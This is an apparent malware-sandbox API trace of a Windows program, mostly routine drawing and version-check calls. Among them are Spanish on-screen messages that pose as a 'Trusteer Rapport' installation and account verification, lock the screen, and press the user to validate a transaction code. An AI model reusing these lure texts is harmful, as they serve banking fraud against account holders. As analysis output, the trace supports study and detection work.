	[0119.169] SysReAllocStringLen (in: pbstr=0x19f808*=0x0, psz="Manténgase en sintonía, es posible que deba proporcionar información durante el proceso.", len=0x58 | out: pbstr=0x19f808*="Manténgase en sintonía, es posible que deba proporcionar información durante el proceso.") returned 1
	[0119.169] SetROP2 (hdc=0xa0100d0, rop2=13) returned 13
	[0119.169] UnrealizeObject (h=0x1b100652) returned 1
	[0119.169] SelectObject (hdc=0xa0100d0, h=0x1b100652) returned 0x1900010
	[0119.169] SetBkColor (hdc=0xa0100d0, color=0xffffff) returned 0xffffff
	[0119.169] SetBkMode (hdc=0xa0100d0, mode=2) returned 2
	[0119.169] DrawTextExA (in: hdc=0xa0100d0, lpchText=" ", cchText=1, lprc=0x19f56d, format=0x440, lpdtp=0x0 | out: lpchText=" ", lprc=0x19f56d) returned 13
	[0119.170] SysReAllocStringLen (in: pbstr=0x19f808*=0x0, psz="Durante el proceso de verificación nuestro sistema bloqueara su equipo para evitar errores en el area operacional hasta que la verificación este completa.", len=0x9a | out: pbstr=0x19f808*="Durante el proceso de verificación nuestro sistema bloqueara su equipo para evitar errores en el area operacional hasta que la verificación este completa.") returned 1
	[0119.171] CreatePenIndirect (plpen=0x19f580) returned 0x13007b1
	[0119.171] SetROP2 (hdc=0x40107af, rop2=13) returned 13
	[0119.171] CreateBrushIndirect (plbrush=0x19f584) returned 0x1b10075f
	[0119.171] CreatePenIndirect (plpen=0x19f578) returned 0x13007b2
	[0119.171] SetROP2 (hdc=0x40107af, rop2=13) returned 13
	[0119.171] UnrealizeObject (h=0x1b100652) returned 1
	[0119.171] SelectObject (hdc=0x40107af, h=0x1b100652) returned 0x1900015
	[0119.171] SetBkColor (hdc=0x40107af, color=0xffffff) returned 0xff00ff
	[0119.171] SetBkMode (hdc=0x40107af, mode=2) returned 2
	[0119.171] RoundRect (hdc=0x40107af, left=0, top=0, right=521, bottom=25, width=6, height=6) returned 1
	[0119.171] GetTextExtentPoint32A (in: hdc=0x40107af, lpString="0%", c=2, psizl=0x19f5b8 | out: psizl=0x19f5b8) returned 1
	[0119.171] GetTextExtentPoint32A (in: hdc=0x40107af, lpString="0%", c=2, psizl=0x19f5b4 | out: psizl=0x19f5b4) returned 1
	[0119.171] UnrealizeObject (h=0x1900015) returned 1
	[0119.171] SelectObject (hdc=0x40107af, h=0x1900015) returned 0x1900015
	[0119.171] SetBkColor (hdc=0x40107af, color=0xff000000) returned 0xffffff
	[0119.171] SetBkMode (hdc=0x40107af, mode=1) returned 2
	[0119.171] ExtTextOutA (hdc=0x40107af, x=250, y=4, options=0x0, lprect=0x0, lpString="0%", c=0x2, lpDx=0x0) returned 1
	[0119.171] GetTextExtentPoint32A (in: hdc=0x40107af, lpString="0%", c=2, psizl=0x19f5a0 | out: psizl=0x19f5a0) returned 1
	[0119.171] MoveToEx (in: hdc=0x40107af, x=271, y=4, lppt=0x0 | out: lppt=0x0) returned 1
	[0119.172] FlatSB_SetScrollProp (param_1=0x10254, index=0x100, newValue=0x0, param_4=1) returned 0
	[0119.172] FlatSB_SetScrollProp (param_1=0x10254, index=0x40, newValue=0xffffff, param_4=0) returned 0
	[0119.172] FlatSB_SetScrollInfo (param_1=0x10254, code=1, psi=0x19e26e, fRedraw=1) returned 0
	[0119.172] FlatSB_SetScrollProp (param_1=0x10254, index=0x200, newValue=0x0, param_4=1) returned 0
	[0119.172] FlatSB_SetScrollProp (param_1=0x10254, index=0x80, newValue=0xffffff, param_4=0) returned 0
	[0119.172] FlatSB_SetScrollInfo (param_1=0x10254, code=0, psi=0x19e26e, fRedraw=1) returned 0
	[0119.172] FlatSB_SetScrollProp (param_1=0x10254, index=0x100, newValue=0x0, param_4=0) returned 0
	[0119.172] FlatSB_SetScrollProp (param_1=0x10254, index=0x40, newValue=0xffffff, param_4=0) returned 0
	[0119.172] FlatSB_SetScrollInfo (param_1=0x10254, code=1, psi=0x19ec7a, fRedraw=1) returned 0
	[0119.172] FlatSB_SetScrollProp (param_1=0x10254, index=0x200, newValue=0x0, param_4=0) returned 0
	[0119.172] FlatSB_SetScrollProp (param_1=0x10254, index=0x80, newValue=0xffffff, param_4=0) returned 0
	[0119.172] FlatSB_SetScrollInfo (param_1=0x10254, code=0, psi=0x19ec7a, fRedraw=1) returned 0
	[0119.173] FlatSB_SetScrollProp (param_1=0x10254, index=0x100, newValue=0x0, param_4=0) returned 0
	[0119.173] FlatSB_SetScrollProp (param_1=0x10254, index=0x40, newValue=0xffffff, param_4=0) returned 0
	[0119.173] FlatSB_SetScrollInfo (param_1=0x10254, code=1, psi=0x19f62a, fRedraw=1) returned 0
	[0119.173] FlatSB_SetScrollProp (param_1=0x10254, index=0x200, newValue=0x0, param_4=0) returned 0
	[0119.173] FlatSB_SetScrollProp (param_1=0x10254, index=0x80, newValue=0xffffff, param_4=0) returned 0
	[0119.173] FlatSB_SetScrollInfo (param_1=0x10254, code=0, psi=0x19f62a, fRedraw=1) returned 0
	[0119.175] SetViewportOrgEx (in: hdc=0xa010691, x=16, y=208, lppt=0x0 | out: lppt=0x0) returned 1
	[0119.175] IntersectClipRect (hdc=0xa010691, left=0, top=0, right=521, bottom=25) returned 3
	[0119.175] SetROP2 (hdc=0xa010691, rop2=13) returned 13
	[0119.175] UnrealizeObject (h=0x1b100652) returned 1
	[0119.175] SelectObject (hdc=0xa010691, h=0x1b100652) returned 0x1900010
	[0119.175] SetBkColor (hdc=0xa010691, color=0xffffff) returned 0xffffff
	[0119.175] SetBkMode (hdc=0xa010691, mode=2) returned 2
	[0119.175] GetDeviceCaps (hdc=0xa010691, index=12) returned 32
	[0119.175] GetDeviceCaps (hdc=0xa010691, index=14) returned 1
	[0119.175] SetStretchBltMode (hdc=0xa010691, mode=3) returned 1
	[0119.175] SetROP2 (hdc=0x60107b1, rop2=13) returned 13
	[0119.175] UnrealizeObject (h=0x1900015) returned 1
	[0119.175] SelectObject (hdc=0x60107b1, h=0x1900015) returned 0x1900010
	[0119.175] SetBkColor (hdc=0x60107b1, color=0xff000000) returned 0xffffff
	[0119.175] SetBkMode (hdc=0x60107b1, mode=1) returned 2
	[0119.175] CreateCompatibleDC (hdc=0x0) returned 0x70107af
	[0119.175] SelectObject (hdc=0x70107af, h=0x30507b3) returned 0x185000f
	[0119.175] CreateCompatibleBitmap (hdc=0x60107b1, cx=1, cy=1) returned 0x40507b7
	[0119.175] SelectObject (hdc=0x70107af, h=0x40507b7) returned 0x30507b3
	[0119.175] MaskBlt (hdcDest=0xa010691, xDest=0, yDest=0, width=521, height=25, hdcSrc=0x60107b1, xSrc=0, ySrc=0, hbmMask=0x30507b3, xMask=0, yMask=0, rop=0xccaa0029) returned 1
	[0119.175] SelectObject (hdc=0x70107af, h=0x30507b3) returned 0x40507b7
	[0119.175] DeleteObject (ho=0x40507b7) returned 1
	[0119.175] SelectObject (hdc=0x70107af, h=0x185000f) returned 0x30507b3
	[0119.175] DeleteDC (hdc=0x70107af) returned 1
	[0119.175] SetROP2 (hdc=0xa0100d0, rop2=13) returned 13
	[0119.175] UnrealizeObject (h=0x1b100652) returned 1
	[0119.176] SelectObject (hdc=0xa0100d0, h=0x1b100652) returned 0x1900010
	[0119.176] SetBkColor (hdc=0xa0100d0, color=0xffffff) returned 0xffffff
	[0119.176] SetBkMode (hdc=0xa0100d0, mode=2) returned 2
	[0119.176] DrawTextExA (in: hdc=0xa0100d0, lpchText=" ", cchText=1, lprc=0x19f56d, format=0x440, lpdtp=0x0 | out: lpchText=" ", lprc=0x19f56d) returned 13
	[0119.177] RtlLockHeap (Heap=0x230000) returned 1
	[0119.177] RtlIsValidHandle (HandleTable=0x76ac1600, Handle=0x73d0078) returned 1
	[0119.177] RtlRestoreLastWin32Error () returned 0x0
	[0119.177] RtlLockHeap (Heap=0x230000) returned 1
	[0119.177] RtlIsValidHandle (HandleTable=0x76ac1600, Handle=0x73d0078) returned 1
	[0119.177] RtlRestoreLastWin32Error () returned 0x0
	[0119.177] RtlLockHeap (Heap=0x230000) returned 1
	[0119.177] RtlIsValidHandle (HandleTable=0x76ac1600, Handle=0x73d0078) returned 1
	[0119.177] RtlRestoreLastWin32Error () returned 0x0
	[0119.180] RtlLockHeap (Heap=0x230000) returned 1
	[0119.180] RtlIsValidHandle (HandleTable=0x76ac1600, Handle=0x73d0078) returned 1
	[0119.180] RtlRestoreLastWin32Error () returned 0x0
	[0119.180] SetROP2 (hdc=0xa0100d0, rop2=13) returned 13
	[0119.180] UnrealizeObject (h=0x1b100652) returned 1
	[0119.180] SelectObject (hdc=0xa0100d0, h=0x1b100652) returned 0x1900010
	[0119.180] SetBkColor (hdc=0xa0100d0, color=0xffffff) returned 0xffffff
	[0119.180] SetBkMode (hdc=0xa0100d0, mode=2) returned 2
	[0119.180] DrawTextExA (in: hdc=0xa0100d0, lpchText=" ", cchText=1, lprc=0x19f56d, format=0x440, lpdtp=0x0 | out: lpchText=" ", lprc=0x19f56d) returned 13
	[0119.180] SetROP2 (hdc=0xa0100d0, rop2=13) returned 13
	[0119.181] UnrealizeObject (h=0x1b100652) returned 1
	[0119.181] SelectObject (hdc=0xa0100d0, h=0x1b100652) returned 0x1900010
	[0119.181] SetBkColor (hdc=0xa0100d0, color=0xffffff) returned 0xffffff
	[0119.181] SetBkMode (hdc=0xa0100d0, mode=2) returned 2
	[0119.181] DrawTextExA (in: hdc=0xa0100d0, lpchText=" ", cchText=1, lprc=0x19f56d, format=0x440, lpdtp=0x0 | out: lpchText=" ", lprc=0x19f56d) returned 13
	[0119.181] SetROP2 (hdc=0xa0100d0, rop2=13) returned 13
	[0119.181] UnrealizeObject (h=0x1b100652) returned 1
	[0119.181] SelectObject (hdc=0xa0100d0, h=0x1b100652) returned 0x1900010
	[0119.181] SetBkColor (hdc=0xa0100d0, color=0xffffff) returned 0xffffff
	[0119.181] SetBkMode (hdc=0xa0100d0, mode=2) returned 2
	[0119.181] DrawTextExA (in: hdc=0xa0100d0, lpchText=" ", cchText=1, lprc=0x19f56d, format=0x440, lpdtp=0x0 | out: lpchText=" ", lprc=0x19f56d) returned 13
	[0119.181] GetVersionExA (in: lpVersionInformation=0x19f828*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x724ad0c, szCSDVersion="ô¬$\x07\x18") | out: lpVersionInformation=0x19f828*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1
	[0119.181] GetFileVersionInfoSizeA (in: lptstrFilename="COMCTL32.DLL", lpdwHandle=0x19f7f0 | out: lpdwHandle=0x19f7f0) returned 0x734
	[0119.181] GetFileVersionInfoA (in: lptstrFilename="COMCTL32.DLL", dwHandle=0x0, dwLen=0x734, lpData=0x7253f54 | out: lpData=0x7253f54) returned 1
	[0119.181] VerQueryValueA (in: pBlock=0x7253f54, lpSubBlock="\\", lplpBuffer=0x19f7e8, puLen=0x19f7e4 | out: lplpBuffer=0x19f7e8*=0x7253f7c, puLen=0x19f7e4) returned 1
	[0119.181] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="•", cchWideChar=1, lpMultiByteStr=0x19e7a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x95÷\x19", lpUsedDefaultChar=0x0) returned 1
	[0119.182] GetVersionExA (in: lpVersionInformation=0x19f828*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x402515, dwMinorVersion=0x50c5cc, dwBuildNumber=0x40251d, dwPlatformId=0x4e6732, szCSDVersion="\x07") | out: lpVersionInformation=0x19f828*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1
	[0119.182] GetFileVersionInfoSizeA (in: lptstrFilename="COMCTL32.DLL", lpdwHandle=0x19f7f0 | out: lpdwHandle=0x19f7f0) returned 0x734
	[0119.182] GetFileVersionInfoA (in: lptstrFilename="COMCTL32.DLL", dwHandle=0x0, dwLen=0x734, lpData=0x7253f54 | out: lpData=0x7253f54) returned 1
	[0119.182] VerQueryValueA (in: pBlock=0x7253f54, lpSubBlock="\\", lplpBuffer=0x19f7e8, puLen=0x19f7e4 | out: lplpBuffer=0x19f7e8*=0x7253f7c, puLen=0x19f7e4) returned 1
	[0119.182] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="•", cchWideChar=1, lpMultiByteStr=0x19e7a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x95÷\x19", lpUsedDefaultChar=0x0) returned 1
	[0119.182] GetVersionExA (in: lpVersionInformation=0x19f828*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x402515, dwMinorVersion=0x50c5cc, dwBuildNumber=0x40251d, dwPlatformId=0x4e6732, szCSDVersion="\x07") | out: lpVersionInformation=0x19f828*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1
	[0119.182] GetFileVersionInfoSizeA (in: lptstrFilename="COMCTL32.DLL", lpdwHandle=0x19f7f0 | out: lpdwHandle=0x19f7f0) returned 0x734
	[0119.182] GetFileVersionInfoA (in: lptstrFilename="COMCTL32.DLL", dwHandle=0x0, dwLen=0x734, lpData=0x7270000 | out: lpData=0x7270000) returned 1
	[0119.182] VerQueryValueA (in: pBlock=0x7270000, lpSubBlock="\\", lplpBuffer=0x19f7e8, puLen=0x19f7e4 | out: lplpBuffer=0x19f7e8*=0x7270028, puLen=0x19f7e4) returned 1
	[0119.182] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="•", cchWideChar=1, lpMultiByteStr=0x19e7a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x95÷\x19", lpUsedDefaultChar=0x0) returned 1
	[0119.185] RtlLockHeap (Heap=0x230000) returned 1
	[0119.185] RtlIsValidHandle (HandleTable=0x76ac1600, Handle=0x73d0078) returned 1
	[0119.185] RtlRestoreLastWin32Error () returned 0x0
	[0119.186] GetTextExtentPoint32A (in: hdc=0xa0100d0, lpString="0", c=1, psizl=0x19fa74 | out: psizl=0x19fa74) returned 1
	[0119.186] FlatSB_SetScrollProp (param_1=0x10254, index=0x100, newValue=0x0, param_4=0) returned 0
	[0119.186] FlatSB_SetScrollProp (param_1=0x10254, index=0x40, newValue=0xffffff, param_4=0) returned 0
	[0119.186] FlatSB_SetScrollInfo (param_1=0x10254, code=1, psi=0x19f046, fRedraw=1) returned 0
	[0119.187] FlatSB_SetScrollProp (param_1=0x10254, index=0x200, newValue=0x0, param_4=0) returned 0
	[0119.187] FlatSB_SetScrollProp (param_1=0x10254, index=0x80, newValue=0xffffff, param_4=0) returned 0
	[0119.187] FlatSB_SetScrollInfo (param_1=0x10254, code=0, psi=0x19f046, fRedraw=1) returned 0
	[0119.187] FlatSB_SetScrollProp (param_1=0x10254, index=0x100, newValue=0x0, param_4=0) returned 0
	[0119.187] FlatSB_SetScrollProp (param_1=0x10254, index=0x40, newValue=0xffffff, param_4=0) returned 0
	[0119.187] FlatSB_SetScrollInfo (param_1=0x10254, code=1, psi=0x19f046, fRedraw=1) returned 0
	[0119.187] FlatSB_SetScrollProp (param_1=0x10254, index=0x200, newValue=0x0, param_4=0) returned 0
	[0119.187] FlatSB_SetScrollProp (param_1=0x10254, index=0x80, newValue=0xffffff, param_4=0) returned 0
	[0119.187] FlatSB_SetScrollInfo (param_1=0x10254, code=0, psi=0x19f046, fRedraw=1) returned 0
	[0119.187] FreeResource (hResData=0x185fe10) returned 0
	[0119.187] SetROP2 (hdc=0xa0100d0, rop2=13) returned 13
	[0119.187] UnrealizeObject (h=0x1b100652) returned 1
	[0119.187] SelectObject (hdc=0xa0100d0, h=0x1b100652) returned 0x1900010
	[0119.187] SetBkColor (hdc=0xa0100d0, color=0xffffff) returned 0xffffff
	[0119.187] SetBkMode (hdc=0xa0100d0, mode=2) returned 2
	[0119.187] DrawTextExA (in: hdc=0xa0100d0, lpchText="Verificando cuenta....", cchText=22, lprc=0x19fc59, format=0x440, lpdtp=0x0 | out: lpchText="Verificando cuenta....", lprc=0x19fc59) returned 14
	[0119.192] FindResourceExA (hModule=0x400000, lpType=0xa, lpName="TfBci", wLanguage=0x0) returned 0x529cd0
	[0119.192] FindResourceExA (hModule=0x400000, lpType=0xa, lpName="TfBci", wLanguage=0x0) returned 0x529cd0
	[0119.192] LoadResource (hModule=0x400000, hResInfo=0x529cd0) returned 0x6520e8
	[0119.192] SizeofResource (hModule=0x400000, hResInfo=0x529cd0) returned 0x231b29
	[0119.192] LockResource (hResData=0x6520e8) returned 0x6520e8
	[0119.201] RtlLockHeap (Heap=0x230000) returned 1
	[0119.201] RtlIsValidHandle (HandleTable=0x76ac1600, Handle=0x73d0080) returned 1
	[0119.201] RtlRestoreLastWin32Error () returned 0x0
	[0119.203] SetROP2 (hdc=0xa0100d0, rop2=13) returned 13
	[0119.203] UnrealizeObject (h=0x1b100652) returned 1
	[0119.203] SelectObject (hdc=0xa0100d0, h=0x1b100652) returned 0x1900010
	[0119.203] SetBkColor (hdc=0xa0100d0, color=0xffffff) returned 0xffffff
	[0119.203] SetBkMode (hdc=0xa0100d0, mode=2) returned 2
	[0119.203] DrawTextExA (in: hdc=0xa0100d0, lpchText=" ", cchText=1, lprc=0x19f56d, format=0x440, lpdtp=0x0 | out: lpchText=" ", lprc=0x19f56d) returned 13
	[0119.204] SetROP2 (hdc=0xa0100d0, rop2=13) returned 13
	[0119.204] UnrealizeObject (h=0x1b100652) returned 1
	[0119.204] SelectObject (hdc=0xa0100d0, h=0x1b100652) returned 0x1900010
	[0119.204] SetBkColor (hdc=0xa0100d0, color=0xffffff) returned 0xffffff
	[0119.204] SetBkMode (hdc=0xa0100d0, mode=2) returned 2
	[0119.204] DrawTextExA (in: hdc=0xa0100d0, lpchText=" ", cchText=1, lprc=0x19f56d, format=0x440, lpdtp=0x0 | out: lpchText=" ", lprc=0x19f56d) returned 13
	[0119.204] SetROP2 (hdc=0xa0100d0, rop2=13) returned 13
	[0119.204] UnrealizeObject (h=0x1b100652) returned 1
	[0119.204] SelectObject (hdc=0xa0100d0, h=0x1b100652) returned 0x1900010
	[0119.204] SetBkColor (hdc=0xa0100d0, color=0xffffff) returned 0xffffff
	[0119.204] SetBkMode (hdc=0xa0100d0, mode=2) returned 2
	[0119.204] DrawTextExA (in: hdc=0xa0100d0, lpchText=" ", cchText=1, lprc=0x19f56d, format=0x440, lpdtp=0x0 | out: lpchText=" ", lprc=0x19f56d) returned 13
	[0119.204] GetVersionExA (in: lpVersionInformation=0x19f828*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x7262ff8, szCSDVersion="à/&\x07\x18") | out: lpVersionInformation=0x19f828*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1
	[0119.204] GetFileVersionInfoSizeA (in: lptstrFilename="COMCTL32.DLL", lpdwHandle=0x19f7f0 | out: lpdwHandle=0x19f7f0) returned 0x734
	[0119.204] GetFileVersionInfoA (in: lptstrFilename="COMCTL32.DLL", dwHandle=0x0, dwLen=0x734, lpData=0x725f508 | out: lpData=0x725f508) returned 1
	[0119.204] VerQueryValueA (in: pBlock=0x725f508, lpSubBlock="\\", lplpBuffer=0x19f7e8, puLen=0x19f7e4 | out: lplpBuffer=0x19f7e8*=0x725f530, puLen=0x19f7e4) returned 1
	[0119.205] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="•", cchWideChar=1, lpMultiByteStr=0x19e7a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x95÷\x19", lpUsedDefaultChar=0x0) returned 1
	[0119.205] GetVersionExA (in: lpVersionInformation=0x19f828*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x402515, dwMinorVersion=0x50c5cc, dwBuildNumber=0x40251d, dwPlatformId=0x4e6732, szCSDVersion="\x07") | out: lpVersionInformation=0x19f828*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1
	[0119.205] GetFileVersionInfoSizeA (in: lptstrFilename="COMCTL32.DLL", lpdwHandle=0x19f7f0 | out: lpdwHandle=0x19f7f0) returned 0x734
	[0119.205] GetFileVersionInfoA (in: lptstrFilename="COMCTL32.DLL", dwHandle=0x0, dwLen=0x734, lpData=0x7273ff4 | out: lpData=0x7273ff4) returned 1
	[0119.205] VerQueryValueA (in: pBlock=0x7273ff4, lpSubBlock="\\", lplpBuffer=0x19f7e8, puLen=0x19f7e4 | out: lplpBuffer=0x19f7e8*=0x727401c, puLen=0x19f7e4) returned 1
	[0119.205] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="•", cchWideChar=1, lpMultiByteStr=0x19e7a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x95÷\x19", lpUsedDefaultChar=0x0) returned 1
	[0119.205] GetVersionExA (in: lpVersionInformation=0x19f828*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x402515, dwMinorVersion=0x50c5cc, dwBuildNumber=0x40251d, dwPlatformId=0x4e6732, szCSDVersion="\x07") | out: lpVersionInformation=0x19f828*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1
	[0119.205] GetFileVersionInfoSizeA (in: lptstrFilename="COMCTL32.DLL", lpdwHandle=0x19f7f0 | out: lpdwHandle=0x19f7f0) returned 0x734
	[0119.205] GetFileVersionInfoA (in: lptstrFilename="COMCTL32.DLL", dwHandle=0x0, dwLen=0x734, lpData=0x7274f70 | out: lpData=0x7274f70) returned 1
	[0119.205] VerQueryValueA (in: pBlock=0x7274f70, lpSubBlock="\\", lplpBuffer=0x19f7e8, puLen=0x19f7e4 | out: lplpBuffer=0x19f7e8*=0x7274f98, puLen=0x19f7e4) returned 1
	[0119.206] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="•", cchWideChar=1, lpMultiByteStr=0x19e7a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x95÷\x19", lpUsedDefaultChar=0x0) returned 1
	[0119.210] RtlLockHeap (Heap=0x230000) returned 1
	[0119.210] RtlIsValidHandle (HandleTable=0x76ac1600, Handle=0x73d0080) returned 1
	[0119.210] RtlRestoreLastWin32Error () returned 0x0
	[0119.210] SetROP2 (hdc=0xa0100d0, rop2=13) returned 13
	[0119.210] UnrealizeObject (h=0x1b100652) returned 1
	[0119.210] SelectObject (hdc=0xa0100d0, h=0x1b100652) returned 0x1900010
	[0119.210] SetBkColor (hdc=0xa0100d0, color=0xffffff) returned 0xffffff
	[0119.210] SetBkMode (hdc=0xa0100d0, mode=2) returned 2
	[0119.210] DrawTextExA (in: hdc=0xa0100d0, lpchText=" ", cchText=1, lprc=0x19f56d, format=0x440, lpdtp=0x0 | out: lpchText=" ", lprc=0x19f56d) returned 13
	[0119.210] SysReAllocStringLen (in: pbstr=0x19f808*=0x0, psz="Atención: No se trata de una trasferencia, esta es solo una simulación con datos ficticios generados por el sistema para una verificación de identidad, sin embargo el código tiene que ser validado.", len=0xc5 | out: pbstr=0x19f808*="Atención: No se trata de una trasferencia, esta es solo una simulación con datos ficticios generados por el sistema para una verificación de identidad, sin embargo el código tiene que ser validado.") returned 1
	[0119.210] SetROP2 (hdc=0xa0100d0, rop2=13) returned 13
	[0119.211] UnrealizeObject (h=0x1b100652) returned 1
	[0119.211] SelectObject (hdc=0xa0100d0, h=0x1b100652) returned 0x1900010
	[0119.211] SetBkColor (hdc=0xa0100d0, color=0xffffff) returned 0xffffff
	[0119.211] SetBkMode (hdc=0xa0100d0, mode=2) returned 2
	[0119.211] DrawTextExA (in: hdc=0xa0100d0, lpchText=" ", cchText=1, lprc=0x19f56d, format=0x440, lpdtp=0x0 | out: lpchText=" ", lprc=0x19f56d) returned 13
	[0119.211] SysReAllocStringLen (in: pbstr=0x19f808*=0x0, psz="Instalación de software Trusteer Rapport", len=0x28 | out: pbstr=0x19f808*="Instalación de software Trusteer Rapport") returned 1
	[0119.211] SetROP2 (hdc=0xa0100d0, rop2=13) returned 13
	[0119.211] UnrealizeObject (h=0x1b100652) returned 1
	[0119.211] SelectObject (hdc=0xa0100d0, h=0x1b100652) returned 0x1900010
	[0119.211] SetBkColor (hdc=0xa0100d0, color=0xffffff) returned 0xffffff
	[0119.211] SetBkMode (hdc=0xa0100d0, mode=2) returned 2
	[0119.211] DrawTextExA (in: hdc=0xa0100d0, lpchText=" ", cchText=1, lprc=0x19f56d, format=0x440, lpdtp=0x0 | out: lpchText=" ", lprc=0x19f56d) returned 13
	[0119.211] SysReAllocStringLen (in: pbstr=0x19f808*=0x0, psz="Manténgase en sintonía, es posible que deba proporcionar información durante el proceso.", len=0x58 | out: pbstr=0x19f808*="Manténgase en sintonía, es posible que deba proporcionar información durante el proceso.") returned 1
	[0119.211] SetROP2 (hdc=0xa0100d0, rop2=13) returned 13
	[0119.211] UnrealizeObject (h=0x1b100652) returned 1
	[0119.211] SelectObject (hdc=0xa0100d0, h=0x1b100652) returned 0x1900010
	[0119.211] SetBkColor (hdc=0xa0100d0, color=0xffffff) returned 0xffffff
	[0119.211] SetBkMode (hdc=0xa0100d0, mode=2) returned 2
	[0119.211] DrawTextExA (in: hdc=0xa0100d0, lpchText=" ", cchText=1, lprc=0x19f56d, format=0x440, lpdtp=0x0 | out: lpchText=" ", lprc=0x19f56d) returned 13
	[0119.212] SysReAllocStringLen (in: pbstr=0x19f808*=0x0, psz="Por favor espere hasta que el proceso de instalación termine.", len=0x3d | out: pbstr=0x19f808*="Por favor espere hasta que el proceso de instalación termine.") returned 1
	[0119.213] RtlLockHeap (Heap=0x230000) returned 1
	[0119.213] RtlIsValidHandle (HandleTable=0x76ac1600, Handle=0x73d0080) returned 1
	[0119.213] RtlRestoreLastWin32Error () returned 0x0
	[0119.213] SetROP2 (hdc=0xa0100d0, rop2=13) returned 13
	[0119.213] UnrealizeObject (h=0x1b100652) returned 1
	[0119.213] SelectObject (hdc=0xa0100d0, h=0x1b100652) returned 0x1900010
	[0119.213] SetBkColor (hdc=0xa0100d0, color=0xffffff) returned 0xffffff
	[0119.213] SetBkMode (hdc=0xa0100d0, mode=2) returned 2
	[0119.213] DrawTextExA (in: hdc=0xa0100d0, lpchText=" ", cchText=1, lprc=0x19f56d, format=0x440, lpdtp=0x0 | out: lpchText=" ", lprc=0x19f56d) returned 13
	[0119.225] RtlLockHeap (Heap=0x230000) returned 1
	[0119.225] RtlIsValidHandle (HandleTable=0x76ac1600, Handle=0x73d0080) returned 1
	[0119.225] RtlRestoreLastWin32Error () returned 0x0
	[0119.232] RtlLockHeap (Heap=0x230000) returned 1
	[0119.232] RtlIsValidHandle (HandleTable=0x76ac1600, Handle=0x73d0080) returned 1
	[0119.232] RtlRestoreLastWin32Error () returned 0x0
	[0119.232] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="•", cchWideChar=1, lpMultiByteStr=0x19e7a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x95÷\x19", lpUsedDefaultChar=0x0) returned 1
	[0119.233] FlatSB_SetScrollProp (param_1=0x10260, index=0x100, newValue=0x0, param_4=1) returned 0
	[0119.233] FlatSB_SetScrollProp (param_1=0x10260, index=0x40, newValue=0xffffff, param_4=0) returned 0
	[0119.233] FlatSB_SetScrollInfo (param_1=0x10260, code=1, psi=0x19e5f6, fRedraw=1) returned 0
	[0119.233] FlatSB_SetScrollProp (param_1=0x10260, index=0x200, newValue=0x0, param_4=1) returned 0
	[0119.233] FlatSB_SetScrollProp (param_1=0x10260, index=0x80, newValue=0xffffff, param_4=0) returned 0
	[0119.233] FlatSB_SetScrollInfo (param_1=0x10260, code=0, psi=0x19e5f6, fRedraw=1) returned 0
	[0119.234] FlatSB_SetScrollProp (param_1=0x10260, index=0x100, newValue=0x0, param_4=0) returned 0
	[0119.234] FlatSB_SetScrollProp (param_1=0x10260, index=0x40, newValue=0xffffff, param_4=0) returned 0
	[0119.234] FlatSB_SetScrollInfo (param_1=0x10260, code=1, psi=0x19f002, fRedraw=1) returned 0
	[0119.234] FlatSB_SetScrollProp (param_1=0x10260, index=0x200, newValue=0x0, param_4=0) returned 0
	[0119.234] FlatSB_SetScrollProp (param_1=0x10260, index=0x80, newValue=0xffffff, param_4=0) returned 0
	[0119.234] FlatSB_SetScrollInfo (param_1=0x10260, code=0, psi=0x19f002, fRedraw=1) returned 0
	[0119.234] FlatSB_SetScrollProp (param_1=0x10260, index=0x100, newValue=0x0, param_4=0) returned 0
	[0119.234] FlatSB_SetScrollProp (param_1=0x10260, index=0x40, newValue=0xffffff, param_4=0) returned 0
	[0119.234] FlatSB_SetScrollInfo (param_1=0x10260, code=1, psi=0x19f9ae, fRedraw=1) returned 0
	[0119.234] FlatSB_SetScrollProp (param_1=0x10260, index=0x200, newValue=0x0, param_4=0) returned 0
